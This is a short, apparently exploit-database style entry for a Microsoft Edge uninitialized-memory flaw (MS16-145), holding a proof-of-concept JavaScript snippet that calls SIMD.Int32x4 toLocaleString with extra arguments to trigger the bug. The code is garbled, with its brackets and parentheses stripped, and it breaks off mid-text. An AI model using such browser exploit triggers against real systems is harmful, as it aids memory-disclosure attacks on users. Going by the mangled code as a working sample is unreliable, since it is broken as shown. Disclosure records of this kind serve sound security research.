Microsoft Edge - SIMD.toLocaleString Uninitialized Memory (MS16-145)

Microsoft Edge - SIMD.toLocaleString Uninitialized Memory MS16-145 try var v = SIMD.Int32x41, 2, 3, 4; alertv.toLocaleString1, 2, 3, 4, 5, 6, 7; catche alerte.message;...